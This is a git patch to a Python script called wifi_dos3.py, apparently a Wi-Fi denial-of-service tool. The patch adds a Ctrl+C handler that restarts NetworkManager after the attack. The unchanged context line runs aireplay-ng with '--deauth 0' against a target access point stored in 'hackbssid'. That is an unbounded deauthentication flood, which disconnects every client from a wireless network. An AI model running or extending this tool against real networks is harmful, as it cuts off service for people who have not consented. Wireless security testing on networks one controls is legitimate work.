From 6eda042da320f429ef4ac8d9638633d4a0f143ec Mon Sep 17 00:00:00 2001 From: 201580ag <39054577+201580ag@users.noreply.github.com> Date: Sun, 13 Aug 2023 06:46:40 +0900 Subject: [PATCH] Update wifi_dos3.py Press Control+C during a de-authentication attack to exit monitor mode and enable Wi-Fi again. --- wifi_dos3.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/wifi_dos3.py b/wifi_dos3.py index e1ce977..c69f508 100644 --- a/wifi_dos3.py +++ b/wifi_dos3.py @@ -196,5 +196,9 @@ def check_for_essid(essid, lst): try: subprocess.run(["aireplay-ng", "--deauth", "0", "-a", hackbssid, hacknic]) except KeyboardInterrupt: - print("Done!") -# User will need to use control-c to break the script. + print("Stop authentication requests and end the monitor mode.") + +# Restart the network service. +subprocess.run(["sudo", "systemctl", "start", "NetworkManager.service"]) + +print("Done!")